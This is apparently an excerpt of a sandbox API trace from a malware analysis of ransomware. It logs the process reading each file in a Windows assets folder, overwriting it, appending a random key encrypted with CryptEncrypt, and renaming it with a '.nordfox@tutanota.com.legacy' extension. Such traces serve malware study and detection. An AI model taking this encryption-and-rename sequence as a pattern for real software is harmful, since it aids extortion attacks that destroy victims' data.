[0172.019] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.019] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.020] CloseHandle (hObject=0x1830) returned 1 [0172.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0172.020] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0172.020] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\3333cb48db1fe6a1f418058365775172a08a00c54b58cf5380f19d93320ea216.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0172.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b57f0 | out: hHeap=0x520000) returned 1 [0172.021] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619ae0 | out: hHeap=0x520000) returned 1 [0172.022] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61a080 | out: hHeap=0x520000) returned 1 [0172.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x61a080 [0172.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0172.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0172.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.022] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.022] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f", dwFileAttributes=0x80) returned 1 [0172.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x618a00 [0172.022] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b46b0 [0172.023] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618a00 | out: hHeap=0x520000) returned 1 [0172.023] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0172.023] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1148131) returned 1 [0172.023] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1184e3) returned 0x352f020 [0172.026] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1184e3) returned 0x3659020 [0172.028] ReadFile (in: hFile=0x1830, lpBuffer=0x352f020, nNumberOfBytesToRead=0x1184e3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x352f020*, lpNumberOfBytesRead=0x2e1f9bc*=0x1184e3, lpOverlapped=0x0) returned 1 [0172.086] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1148131, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.086] WriteFile (in: hFile=0x1830, lpBuffer=0x3659020*, nNumberOfBytesToWrite=0x1184e3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3659020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1184e3, lpOverlapped=0x0) returned 1 [0172.090] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x352f020 | out: hHeap=0x520000) returned 1 [0172.095] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3659020 | out: hHeap=0x520000) returned 1 [0172.100] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1184e3 [0172.100] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.100] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.101] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.101] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.101] CloseHandle (hObject=0x1830) returned 1 [0172.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0172.101] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0172.101] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\321e92d6b5e6fb51a51aa7af3afb13138f26b4ee847a691a28db747eb08cfe1f.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0172.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b46b0 | out: hHeap=0x520000) returned 1 [0172.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61a080 | out: hHeap=0x520000) returned 1 [0172.103] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6185c8 | out: hHeap=0x520000) returned 1 [0172.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f728e0 [0172.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0172.103] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0172.103] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0172.103] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0172.103] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14", dwFileAttributes=0x80) returned 1 [0172.104] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f72e80 [0172.104] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5c40 [0172.104] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f72e80 | out: hHeap=0x520000) returned 1 [0172.104] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0172.104] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1131) returned 1 [0172.104] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x46b) returned 0x2f74cc0 [0172.104] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x46b) returned 0x2f75138 [0172.104] ReadFile (in: hFile=0x1830, lpBuffer=0x2f74cc0, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f74cc0*, lpNumberOfBytesRead=0x2e1f9bc*=0x46b, lpOverlapped=0x0) returned 1 [0172.114] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1131, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.114] WriteFile (in: hFile=0x1830, lpBuffer=0x2f75138*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f75138*, lpNumberOfBytesWritten=0x2e1f9bc*=0x46b, lpOverlapped=0x0) returned 1 [0172.114] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f74cc0 | out: hHeap=0x520000) returned 1 [0172.114] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f75138 | out: hHeap=0x520000) returned 1 [0172.114] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x46b [0172.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.114] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.115] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.115] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.115] CloseHandle (hObject=0x1830) returned 1 [0172.115] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0172.115] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0172.115] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\30d2da25a9658be5fc67ba071ac8e0571f3095ab06bcbd4d5d14a1fcdc096a14.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0172.123] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5c40 | out: hHeap=0x520000) returned 1 [0172.123] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f728e0 | out: hHeap=0x520000) returned 1 [0172.123] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7d88 | out: hHeap=0x520000) returned 1 [0172.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7d88 [0172.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0172.123] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0172.123] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.123] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0172.123] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc", dwFileAttributes=0x80) returned 1 [0172.124] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x2f73588 [0172.124] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b5a18 [0172.124] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f73588 | out: hHeap=0x520000) returned 1 [0172.124] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0172.125] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16834) returned 1 [0172.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x41c2) returned 0x30d1028 [0172.125] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x41c2) returned 0x30d51f8 [0172.125] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x41c2, lpOverlapped=0x0) returned 1 [0172.132] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-16834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.132] WriteFile (in: hFile=0x1830, lpBuffer=0x30d51f8*, nNumberOfBytesToWrite=0x41c2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d51f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x41c2, lpOverlapped=0x0) returned 1 [0172.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0172.132] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d51f8 | out: hHeap=0x520000) returned 1 [0172.132] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x41c2 [0172.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.133] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.133] WriteFile (in: hFile=0x1830, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.133] CloseHandle (hObject=0x1830) returned 1 [0172.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0172.133] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0172.133] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2f38c2d26ac46a7f6c3ca4f2d7b1677cea02c84e91aa96f8a27baf8613d252bc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0172.135] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b5a18 | out: hHeap=0x520000) returned 1 [0172.135] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7d88 | out: hHeap=0x520000) returned 1 [0172.135] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7950 | out: hHeap=0x520000) returned 1 [0172.135] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7950 [0172.135] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0172.135] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0172.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.135] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0172.135] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1", dwFileAttributes=0x80) returned 1 [0172.136] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e7d88 [0172.136] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20e) returned 0x33b4038 [0172.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7d88 | out: hHeap=0x520000) returned 1 [0172.136] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1830 [0172.136] GetFileSizeEx (in: hFile=0x1830, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17475) returned 1 [0172.136] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4443) returned 0x30d1028 [0172.136] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4443) returned 0x30d5478 [0172.136] ReadFile (in: hFile=0x1830, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x4443, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x4443, lpOverlapped=0x0) returned 1 [0172.137] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-17475, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.138] WriteFile (in: hFile=0x1830, lpBuffer=0x30d5478*, nNumberOfBytesToWrite=0x4443, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4443, lpOverlapped=0x0) returned 1 [0172.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d1028 | out: hHeap=0x520000) returned 1 [0172.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5478 | out: hHeap=0x520000) returned 1 [0172.138] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4443 [0172.138] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0172.138] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0172.138] WriteFile (in: hFile=0x1830, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0172.138] WriteFile (in: hFile=0x1830, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0172.138] CloseHandle (hObject=0x1830) returned 1 [0172.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0172.138] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0172.138] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2ea5480b17b374cd1cc8304f04bbf8c08039441d4ecc56357721fb219dfe29d1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0172.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x33b4038 | out: hHeap=0x520000) returned 1 [0172.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7950 | out: hHeap=0x520000) returned 1 [0172.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e77e8 | out: hHeap=0x520000) returned 1 [0172.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x160) returned 0x5e77e8 [0172.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0172.140] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0172.140] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0172.140] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0172.140] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2dfa25e7094295189d97793d7c8954463f9cc2568165708a430de7580b56b39e", dwFileAttributes=0x80) returned 1 